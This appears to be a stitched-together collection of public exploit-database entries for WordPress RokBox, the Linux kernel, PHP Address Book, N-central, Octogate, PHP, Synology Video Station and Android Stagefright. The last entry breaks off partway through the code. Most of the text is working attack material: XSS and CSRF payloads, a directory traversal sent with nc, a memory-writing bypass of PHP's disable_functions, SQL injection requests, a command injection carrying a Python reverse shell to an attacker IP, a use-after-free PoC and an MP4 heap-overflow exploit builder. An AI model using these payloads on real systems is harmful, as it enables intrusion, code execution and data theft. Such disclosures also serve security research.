http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
Arbitrary File Upload (WASC-31):
http://www.example.complugins/wp_rokbox/thumb.php?src=http://flickr.com.site.com/shell.php
Content Spoofing (WASC-12):
In parameter file there can be set as video, as audio files.
http://www.example.complugins/wp_rokbox/thumb.php?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://www.example.complugins/wp_rokbox/thumb.php?file=1.flv&image=1.jpg
http://www.example.complugins/wp_rokbox/thumb.php?config=1.xml
http://www.example.complugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=http://site
XSS (WASC-08):
http://www.example.complugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Information Leakage (WASC-13):
http://www.example.complugins/wp_rokbox/error_log
Leakage of error log with full paths.
Full path disclosure (WASC-13):
http://www.example.complugins/wp_rokbox/rokbox.php
source: https://www.securityfocus.com/bid/56939/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to cause an infinite loop, resulting in a denial-of-service condition.
#!/usr/bin/env python
## Borrows code from
"""Calculate and manipulate CRC32.
http://en.wikipedia.org/wiki/Cyclic_redundancy_check
-- StalkR
"""
## See https://github.com/StalkR/misc/blob/master/crypto/crc32.py
import struct
import sys
import os
# Polynoms in reversed notation
POLYNOMS = {
'CRC-32-IEEE': 0xedb88320, # 802.3
'CRC-32C': 0x82F63B78, # Castagnoli
'CRC-32K': 0xEB31D82E, # Koopman
'CRC-32Q': 0xD5828281,
}
class CRC32(object):
"""A class to calculate and manipulate CRC32.
Use one instance per type of polynom you want to use.
Use calc() to calculate a crc32.
Use forge() to forge crc32 by adding 4 bytes anywhere.
"""
def __init__(self, type="CRC-32C"):
if type not in POLYNOMS:
raise Error("Unknown polynom. %s" % type)
self.polynom = POLYNOMS[type]
self.table, self.reverse = [0]*256, [0]*256
self._build_tables()
def _build_tables(self):
for i in range(256):
fwd = i
rev = i << 24
for j in range(8, 0, -1):
# build normal table
if (fwd & 1) == 1:
fwd = (fwd >> 1) ^ self.polynom
else:
fwd >>= 1
self.table[i] = fwd & 0xffffffff
# build reverse table =)
if rev & 0x80000000 == 0x80000000:
rev = ((rev ^ self.polynom) << 1) | 1
else:
rev <<= 1
rev &= 0xffffffff
self.reverse[i] = rev
def calc(self, s):
"""Calculate crc32 of a string.
Same crc32 as in (binascii.crc32)&0xffffffff.
"""
crc = 0xffffffff
for c in s:
crc = (crc >> 8) ^ self.table[(crc ^ ord(c)) & 0xff]
return crc^0xffffffff
def forge(self, wanted_crc, s, pos=None):
"""Forge crc32 of a string by adding 4 bytes at position pos."""
if pos is None:
pos = len(s)
# forward calculation of CRC up to pos, sets current forward CRC state
fwd_crc = 0xffffffff
for c in s[:pos]:
fwd_crc = (fwd_crc >> 8) ^ self.table[(fwd_crc ^ ord(c)) & 0xff]
# backward calculation of CRC up to pos, sets wanted backward CRC state
bkd_crc = wanted_crc^0xffffffff
for c in s[pos:][::-1]:
bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)
# deduce the 4 bytes we need to insert
for c in struct.pack('<L',fwd_crc)[::-1]:
bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)
res = s[:pos] + struct.pack('<L', bkd_crc) + s[pos:]
return res
if __name__=='__main__':
hack = False
ITERATIONS = 10
crc = CRC32()
wanted_crc = 0x00000000
for i in range (ITERATIONS):
for j in range(55):
str = os.urandom (16).encode ("hex").strip ("\x00")
if hack:
f = crc.forge(wanted_crc, str, 4)
if ("/" not in f) and ("\x00" not in f):
file (f, 'a').close()
else:
file (str, 'a').close ()
wanted_crc += 1
source: https://www.securityfocus.com/bid/56937/info
PHP Address Book is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PHP Address Book 8.1.24.1 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?group=%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83
%2C83%29%29%3C%2FSCRIPT%3E
source: https://www.securityfocus.com/bid/56933/info
N-central is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.
N-central 8.0.1 through 8.2.0-1152 are vulnerable; other versions may also be affected.
<img src="https://ncentral/addAccountActionStep1.do?page=1&pageName=add_account&email=test%40redacted.co.nz&pswd=CSRF123!!!&confirmPassword=CSRF123!!&paperSize=Letter&numberFormat=en_US&statusEnabled=true&type=SO%20Admin&defaultDashboard=All%20Devices&uiSessionTimeOut=20&configRemoteControlEnabled=on&useRemoteControlEnabled=on&rcAvailability=Available&useManagementTaskEnabled=on&firstName=CSRF&lastName=Hacker&phone=&ext=&department=&street1=&street2=&city=&stateProv=&postalCode=&country=&method=Finish"></img>
# Exploit Title: Octogate UTM Admin Interface Directory Traversal
# Date: 26.08.2015
# Software Link: http://www.octogate.com
# Exploit Author: Oliver Karow
# Contact: oliver.karow@gmx.de
# Website: http://www.oliverkarow.de
# Category: Remote Exploit
Affected Products/Versions
--------------------------
Product Name: Octogate
Version: 3.0.12 - Virtual Appliance & Appliance
Product/Company Information
---------------------------
Octogate is a UTM Device, including the following features: Application
Firewall, Intrusion Detection and -Prevention, Stateful- & Deep Packet
Inspection, DoS- and DDoS protection and Reverse Proxy.
Octogate IT Security Systems GmbH is based in Germany.
Vulnerability Description
-------------------------
Octogate UTM Device is managed via web interface. The download function
for SSL-Certifcate and Documentation is accessable without
authentication, and allows access to files outside of the web root via
the script /scripts/download.php.
Example request:
echo -en
"GET /scripts/download.php?file=/../../../../../../octo/etc/ini.d/octogate.ini&type=dl
HTTP/1.0\r\nHost: 192.168.0.177\r\nReferer:
http://192.168.0.177\r\nConnection: close\r\n\r\n" | nc 192.168.0.177 80
Patch Information
-----------------
Patch is available from vendor.
Advisory Information
--------------------
http://www.oliverkarow.de/research/octogate.txt
<?php
// EDB Note: Paper https://www.exploit-db.com/docs/english/38104-shoot-zend_executor_globals-to-bypass-php-disable_functions.pdf
error_reporting(0x66778899);
set_time_limit(0x41424344);
define('ZEND_INI_USER', (1<<0));
define('ZEND_INI_PERDIR', (1<<1));
define('ZEND_INI_SYSTEM', (1<<2));
/*
00df9000-00e16000 rw-p 00000000 00:00 0
017ff000-01a51000 rw-p 00000000 00:00 0 [heap]
error_reporting(0x66778899);
typedef struct bucket {
ulong h; /\* Used for numeric indexing *\/
uint nKeyLength;
void *pData;
void *pDataPtr;
struct bucket *pListNext;
struct bucket *pListLast;
struct bucket *pNext;
struct bucket *pLast;
const char *arKey;
} Bucket;
typedef struct _hashtable {
uint nTableSize;
uint nTableMask;
uint nNumOfElements;
ulong nNextFreeElement;
Bucket *pInternalPointer; /\* Used for element traversal *\/
Bucket *pListHead;
Bucket *pListTail;
Bucket **arBuckets;
dtor_func_t pDestructor; //pointer
zend_bool persistent;
unsigned char nApplyCount;
zend_bool bApplyProtection;
#if ZEND_DEBUG
int inconsistent;
#endif
} HashTable;
struct _zend_executor_globals {
zval **return_value_ptr_ptr;
zval uninitialized_zval;
zval *uninitialized_zval_ptr;
zval error_zval;
zval *error_zval_ptr;
zend_ptr_stack arg_types_stack;
/\* symbol table cache *\/
HashTable *symtable_cache[SYMTABLE_CACHE_SIZE];
HashTable **symtable_cache_limit;
HashTable **symtable_cache_ptr;
zend_op **opline_ptr;
HashTable *active_symbol_table;
HashTable symbol_table; /\* main symbol table *\/
HashTable included_files; /\* files already included *\/
JMP_BUF *bailout;
int error_reporting;
int orig_error_reporting;
int exit_status;
zend_op_array *active_op_array;
HashTable *function_table; /\* function symbol table *\/
HashTable *class_table; /\* class table *\/
HashTable *zend_constants; /\* constants table *\/
zend_class_entry *scope;
zend_class_entry *called_scope; /\* Scope of the calling class *\/
zval *This;
long precision;
int ticks_count; //10*8
zend_bool in_execution; //typedef unsigned char zend_bool;
HashTable *in_autoload;
zend_function *autoload_func;
zend_bool full_tables_cleanup;
/\* for extended information support *\/
zend_bool no_extensions;
#ifdef ZEND_WIN32
zend_bool timed_out;
OSVERSIONINFOEX windows_version_info;
#endif
HashTable regular_list;
HashTable persistent_list;
zend_vm_stack argument_stack;
int user_error_handler_error_reporting;
zval *user_error_handler;
zval *user_exception_handler;
zend_stack user_error_handlers_error_reporting;
zend_ptr_stack user_error_handlers;
zend_ptr_stack user_exception_handlers;
zend_error_handling_t error_handling;
zend_class_entry *exception_class;
/\* timeout support *\/
int timeout_seconds;
int lambda_count;
HashTable *ini_directives;
HashTable *modified_ini_directives;
zend_ini_entry *error_reporting_ini_entry;
zend_objects_store objects_store;
zval *exception, *prev_exception;
zend_op *opline_before_exception;
zend_op exception_op[3];
struct _zend_execute_data *current_execute_data;
struct _zend_module_entry *current_module;
zend_property_info std_property_info;
zend_bool active;
zend_op *start_op;
void *saved_fpu_cw_ptr;
#if XPFPA_HAVE_CW
XPFPA_CW_DATATYPE saved_fpu_cw;
#endif
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};
/*
struct _zend_ini_entry {
int module_number;
int modifiable;
char *name;
uint name_length;
ZEND_INI_MH((*on_modify));
void *mh_arg1;
void *mh_arg2;
void *mh_arg3;
char *value;
....
*/
//echo file_get_contents("/proc/self/maps");
$mem = fopen("/proc/self/mem", "rb");
/*
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -r "echo file_get_contents('/proc/self/maps');"
00400000-00bf3000 r-xp 00000000 08:01 4997702 /usr/bin/php5
00df3000-00e94000 r--p 007f3000 08:01 4997702 /usr/bin/php5
00e94000-00ea1000 rw-p 00894000 08:01 4997702 /usr/bin/php5
00ea1000-00ebe000 rw-p 00000000 00:00 0
0278f000-02a65000 rw-p 00000000 00:00 0 [heap]
*/
//set the extension_dir
fseek($mem, 0x00ea1000);
for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4)
{
//echo 'x';
$num = unp(fread($mem, 4));
if($num == 0x66778899)
{
$offset = 0x00ea1000 + $i;
printf("got noe, offset is:0x%x\r\n", $offset);
printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
error_reporting(0x55667788);
fseek($mem, $offset);
$num = unp(fread($mem, 4));
printf("The value is %x\r\n", $num);
if($num == 0x55667788)
{
printf("I found the offset of executor_globals's member error_reporting\r\n");
printf("read the structure\r\n");
fseek($mem, $offset);
fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
$timeout = dump_value($mem, 4);
if($timeout == 0x41424344)
{
error_reporting(E_ALL); //restore the error reporting
printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
dump_value($mem, 4);
$ini_dir = dump_value($mem, 8);
printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
$arBucket = dump_value($mem, 8);
printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
fseek($mem, $arBucket);
//try to get the first Bucket address
for($i = 0;$i < 1000;$i ++)
{
$bucket = dump_value($mem, 8);
//printf("This bucket address maybe in 0x%016x\r\n", $bucket);
fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket
$pdata = dump_value($mem, 8);
dump_value($mem, 8);
//printf("This pData address maybe in 0x%016x\r\n", $pdata);
fseek($mem, $pdata + 8); //seek to char* name;
$name = dump_value($mem, 8);
$name_t = dump_value($mem, 4);
//printf("This char name* address maybe in 0x%016x, length:%d\r\n", $name, $name_t);
fseek($mem, $name);
$strname = fread($mem, $name_t);
if(strlen($strname) == 0) break;
//printf("ini key:%s\r\n", $strname);
if(strncmp($strname, 'extension_dir', 13) == 0)
{
printf("I found the extension_dir offset!\r\n");
printf("try to set extension_dir value /tmp by ini_set\r\n");
ini_set('extension_dir', '/tmp');
printf("try to get extension_dir value by ini_get\r\n");
var_dump(ini_get('extension_dir'));
// write string value
fseek($mem, $pdata + 56); //seek to char* value;
$value = dump_value($mem, 8);
$value_t = dump_value($mem, 4);
printf("This char value* address maybe in 0x%016x, length:%d\r\n", $value, $value_t);
// write data part
$mem_w = fopen("/proc/self/mem", "wb");
fseek($mem_w, $value);
fwrite($mem_w, "/tmp\0", 5); //write /tmp value
printf("retry to get extension_dir value!!!!\r\n");
var_dump(ini_get('extension_dir'));
error_reporting(0x66778899);
break;
}
//seek to struct bucket *pListNext; ready to read next bucket's address
fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast; it's so strage!
}
}
}
else
{
printf("now here, restore the value\r\n");
error_reporting(0x66778899);
}
}
}
//set the enable_dl
fseek($mem, 0x00ea1000);
for($i = 0;$i < 0x00ebe000 - 0x00ea1000;$i += 4)
{
$num = unp(fread($mem, 4));
if($num == 0x66778899)
{
$offset = 0x00ea1000 + $i;
printf("got noe, offset is:0x%x\r\n", $offset);
printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
error_reporting(0x55667788);
fseek($mem, $offset);
$num = unp(fread($mem, 4));
printf("The value is %x\r\n", $num);
if($num == 0x55667788)
{
printf("I found the offset of executor_globals's member error_reporting\r\n");
printf("read the structure\r\n");
fseek($mem, $offset);
fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
$timeout = dump_value($mem, 4);
if($timeout == 0x41424344)
{
error_reporting(E_ALL); //restore the error reporting
printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
dump_value($mem, 4);
$ini_dir = dump_value($mem, 8);
printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
$arBucket = dump_value($mem, 8);
printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
fseek($mem, $arBucket);
//try to get the first Bucket address
for($i = 0;$i < 1000;$i ++)
{
$bucket = dump_value($mem, 8);
//printf("This bucket address maybe in 0x%016x\r\n", $bucket);
fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket
$pdata = dump_value($mem, 8);
dump_value($mem, 8);
//printf("This pData address maybe in 0x%016x\r\n", $pdata);
fseek($mem, $pdata + 8); //seek to char* name;
$name = dump_value($mem, 8);
$name_t = dump_value($mem, 4);
//printf("This char name* address maybe in 0x%016x, length:%d\r\n", $name, $name_t);
fseek($mem, $name);
$strname = fread($mem, $name_t);
if(strlen($strname) == 0) break;
//printf("ini key:%s\r\n", $strname);
if(strncmp($strname, 'enable_dl', 9) == 0)
{
printf("I found the enable_dl offset!\r\n");
printf("try to set enable_dl value true by ini_set\r\n");
ini_set('enable_dl', true);
printf("try to get enable_dl value by ini_get\r\n");
var_dump(ini_get('enable_dl'));
printf("try to run dl() function\r\n");
dl('not_exists');
printf("try to modifiy the modifiable member in memory!\r\n");
fseek($mem, $pdata + 4);
$modifiable = dump_value($mem, 4);
printf("org modifiable value is %x\r\n", $modifiable);
$mem_w = fopen("/proc/self/mem", "wb");
fseek($mem_w, $pdata + 4); //seek to modifiable
fwrite($mem_w, packli(7));
//check
fseek($mem, $pdata + 4);
$modifiable = dump_value($mem, 4);
printf("now modifiable value is %x\r\n", $modifiable);
printf("try ini_set enable_dl agen!!!!\r\n");
ini_set('enable_dl', true);
printf("now enable_dl seting is\r\n");
var_dump(ini_get('enable_dl'));
printf("retry the dl() function!!!!\r\n");
ini_set('extension_dir', '/tmp');
dl('not_exists');
exit(0);
}
//seek to struct bucket *pListNext; ready to read next bucket's address
fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast; it's so strage!
}
}
}
else
{
printf("now here, restore the value\r\n");
error_reporting(0x66778899);
}
}
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function dump_value($dh, $flag)
{
switch($flag)
{
case 4: return unp(fread($dh, 4));
case 8: return unp(fread($dh, 8));
}
}
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function packli($value) {
return pack('V', $value);
}
/*
ylbhz@ylbhz-Aspire-5750G:/tmp$ php php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the extension_dir offset!
try to set extension_dir value /tmp by ini_set
try to get extension_dir value by ini_get
string(22) "/usr/lib/php5/20121212"
This char value* address maybe in 0x0000000000b5ea53, length:22
retry to get extension_dir value!!!!
string(4) "/tmp"
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the enable_dl offset!
try to set enable_dl value true by ini_set
try to get enable_dl value by ini_get
string(0) ""
try to run dl() function
PHP Warning: dl(): Dynamically loaded extensions aren't enabled in /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 326
try to modifiy the modifiable member in memory!
org modifiable value is 4
now modifiable value is 7
try ini_set enable_dl agen!!!!
now enable_dl seting is
string(1) "1"
retry the dl() function!!!!
PHP Warning: dl(): Unable to load dynamic library '/tmp/not_exists' - /tmp/not_exists: cannot open shared object file: No such file or directory in /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 345
ylbhz@ylbhz-Aspire-5750G:/tmp$
ylbhz@ylbhz-Aspire-5750G:/tmp$ php -v
PHP 5.5.9-1ubuntu4.9 (cli) (built: Apr 17 2015 11:44:57)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
ylbhz@ylbhz-Aspire-5750G:/tmp$ uname -a
Linux ylbhz-Aspire-5750G 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
*/
?>
------------------------------------------------------------------------
Synology Video Station command injection and multiple SQL injection
vulnerabilities
------------------------------------------------------------------------
Han Sahin, September 2015
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that Synology Video Station is vulnerable to command
injection that allows an attacker to execute arbitrary system commands
with root privileges. In addition, Video Station is affected by multiple
SQL injection vulnerabilities that allows for execution of arbitrary SQL
statements with DBA privileges. As a result it is possible to compromise
the PostgreSQL database server.
------------------------------------------------------------------------
Affected versions
------------------------------------------------------------------------
These issues affect Synology Video Station version up to and including
version 1.5-0757.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Synology has reported that these issue have been resolved in:
- Video Station version 1.5-0757 [audiotrack.cgi]
- Video Station version 1.5-0763 [watchstatus.cgi]
- Video Station version 1.5-0763 [subtitle.cgi]
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
Command injection vulnerability in subtitle.cgi
A command injection vulnerability exists in the subtitle.cgi CGI script. This issue exists in the 'subtitle_codepage' parameter, which allows an attacker to execute arbitrary commands with root privileges. The script subtitle.cgi can also be called when the 'public share' option is enabled. With this option enabled, this issue can also be exploited by an unauthenticated remote attacker. This vulnerability can be used to compromise a Synology DiskStation NAS, including all data stored on the NAS, and the NAS as stepping stone to attack other systems.
- Start netcat on attacker's system:
nc -nvlp 80
- Submit the following request (change the IP - 192.168.1.20 - & port number - 80):
GET /webapi/VideoStation/subtitle.cgi?id=193&api=SYNO.VideoStation.Subtitle&method=get&version=2&subtitle_id=%2Fvolume1%2Fvideo%2Fmr.robot.s01e10.720p.hdtv.x264-killers.nfo%2FMr.Robot.S01E10.720p.HDTV.x264-KILLERS.2aafa5c.eng.srt&subtitle_codepage=auto%26python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.20%22,80));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5b%22/bin/sh%22,%22-i%22%5d);'%26&preview=false&sharing_id=kSiNy0Pp HTTP/1.1
Host: 192.168.1.13:5000
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
SQL injection vulnerability in watchstatus.cgi
A (blind) SQL injection vulnerability exists in the watchstatus.cgi CGI script. This issue exists in the code handling the 'id' parameter and allows an attacker to execute arbitrary SQL statements with DBA privileges. As a result it is possible to compromise the PostgreSQL database server. In the following screenshot this issue is exploited using sqlmap.
Proof of concept
POST /webapi/VideoStation/watchstatus.cgi HTTP/1.1
Host: 192.168.1.13:5000
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-SYNO-TOKEN: Lq6mE9ANV2egU
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 80
Cookie: stay_login=0; id=Lq5QWGqg7Rnzc13A0LTN001710; jwplayer.volume=50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
id=15076178770%20or%204864%3d4864--%20&position=10.05&api=SYNO.VideoStation.WatchStatus&method=setinfo&version=1
It should be noted that the X-SYNO-TOKEN header provides protection against Cross-Site Request Forgery attacks. As of DSM version 5.2-5592 Update 3, this protection is enabled by default.
SQL injection vulnerability in audiotrack.cgi
A (blind) SQL injection vulnerability exists in the audiotrack.cgi CGI script. This issue exists in the code handling the 'id' parameter and allows an attacker to execute arbitrary SQL statements with DBA privileges. As a result it is possible to compromise the PostgreSQL database server.
Proof of concept
POST /webapi/VideoStation/audiotrack.cgi HTTP/1.1
Content-Length: 294
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-SYNO-TOKEN: 7IKJdJMa8cutE
Host: <hostname>:5000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
Pragma: no-cache
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: stay_login=0; id=7IivlxDM9MFb213A0LTN001710
id=1%20AND%20%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20usesuper%3Dtrue%20FROM%20pg_user%20WHERE%20usename%3DCURRENT_USER%20OFFSET%200%20LIMIT%201%29%29%20THEN%20%28CHR%2849%29%29%20ELSE%20%28CHR%2848%29%29%20END%29%29%3D%28CHR%2849%29%29&api=SYNO.VideoStation.AudioTrack&method=list&version=1
Use After Free Vulnerabilities in unserialize()
Taoguang Chen <[@chtg](http://github.com/chtg)>
Write Date: 2015.7.31
Release Date: 2015.9.4
Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
if (ce->unserialize == NULL) {
zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
object_init_ex(rval, ce);
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p,
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
return 0;
}
(*p) += datalen;
return finish_nested_data(UNSERIALIZE_PASSTHRU);
The unserialize() with Serializable class lead to various problems.
i) Free the memory via crafted Serializable class
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
$this->data = 1;
}
}
?>
ii) Free the memory via the process_nested_data() with a invalid
serialized string
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable
*ht, long elements, int objprops)
{
while (elements-- > 0) {
zval *key, *data, **old_data;
...
ALLOC_INIT_ZVAL(data);
if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
zval_dtor(key);
FREE_ZVAL(key);
zval_dtor(data);
FREE_ZVAL(data); <=== free the memory
return 0;
}
iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{
...
while (var_hash) {
for (i = 0; i < var_hash->used_slots; i++) {
zval_ptr_dtor(&var_hash->data[i]); <=== free the memory
}
...
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{
...
if (*rval != NULL) {
var_push_dtor_no_addref(var_hash, rval);
}
*rval = *rval_ref;
We can create ZVAL and free it via Serializable::unserialize. However
the unserialize() will still allow to use R: or r: to set references
to that already freed memory. It is possible to use-after-free attack
and execute arbitrary code remotely.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.
<?php
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';
$data = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
// i)
// $this->data = '1';
}
}
?>
Test the PoC on the command line:
$ php uafpoc.php
array(2) {
[0]=>
object(obj)#1 (1) {
["data"]=>
bool(false)
}
[1]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
#
# Don’t forget, the output of “create_mp4” can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# “With great power comes great responsibility.” – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, data):
if len(tag) != 4:
raise ‘Yo! They call it “FourCC” for a reason.’
ret = struct.pack(‘>L’, len(data) + 8)
ret += tag
ret += data
return ret
#
# Make an ‘stco’ atom – Sample Table Chunk Offets
#
def make_stco(extra=”):
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
return make_chunk(‘stco’, ret+extra)
#
# Make an ‘stsz’ atom – Sample Table Size
#
def make_stsz(extra=”):
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
ret += struct.pack(‘>L’, 0) # mNumSampleSizes
return make_chunk(‘stsz’, ret+extra)
#
# Make an ‘stts’ atom – Sample Table Time-to-Sample
#
def make_stts():
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
return make_chunk(‘stts’, ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
ret = ”
ret += struct.pack(‘>L’, start + 1)
ret += struct.pack(‘>L’, per)
ret += struct.pack(‘>L’, desc)
return ret
#
# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
ret = struct.pack(‘>L’, 0) # version/flags
# this is the clean version…
if not do_overflow:
ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
ret += ‘Z’ * (12 * num_alloc)
return make_chunk(‘stsc’, ret)
# now the explicit version. (trigger the bug)
ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
# fill in the entries that will overflow the buffer
for x in range(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
ret = make_chunk(‘stsc’, ret)
# patch the data_size
ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]
return ret
#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
“””
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
